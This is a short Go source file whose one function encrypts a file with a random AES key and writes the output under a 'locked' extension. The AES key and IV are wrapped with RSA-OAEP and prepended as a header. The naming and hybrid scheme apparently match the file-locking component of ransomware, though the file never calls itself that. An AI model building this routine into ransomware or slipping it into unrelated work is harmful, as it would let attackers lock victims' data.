encrypt.go

package main

import (
    "crypto/rsa"
    "io/ioutil"

    "crypto/aes"
    "crypto/rand"

    "crypto/cipher"

    "crypto/sha256"
)

func encrypt(file string, priv *rsa.PrivateKey) {
    data, err := ioutil.ReadFile(file)

    if err != nil {
        panic(err)
    }

    key := make([]byte, KeySize)
    rand.Read(key)

    iv := make([]byte, aes.BlockSize)
    rand.Read(iv)

    header := append(key, iv...)
    pub := priv.PublicKey

    label := []byte("")
    header, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, &pub, header, label)

    if err != nil {
        panic(err)
    }

    block, err := aes.NewCipher(key)

    if err != nil {
        panic(err)
    }

    cipher := cipher.NewCFBEncrypter(block, iv)
    cipher.XORKeyStream(data, data)

    data = append(header, data...)

    ioutil.WriteFile(file+LockedExtension, data, 0777)
}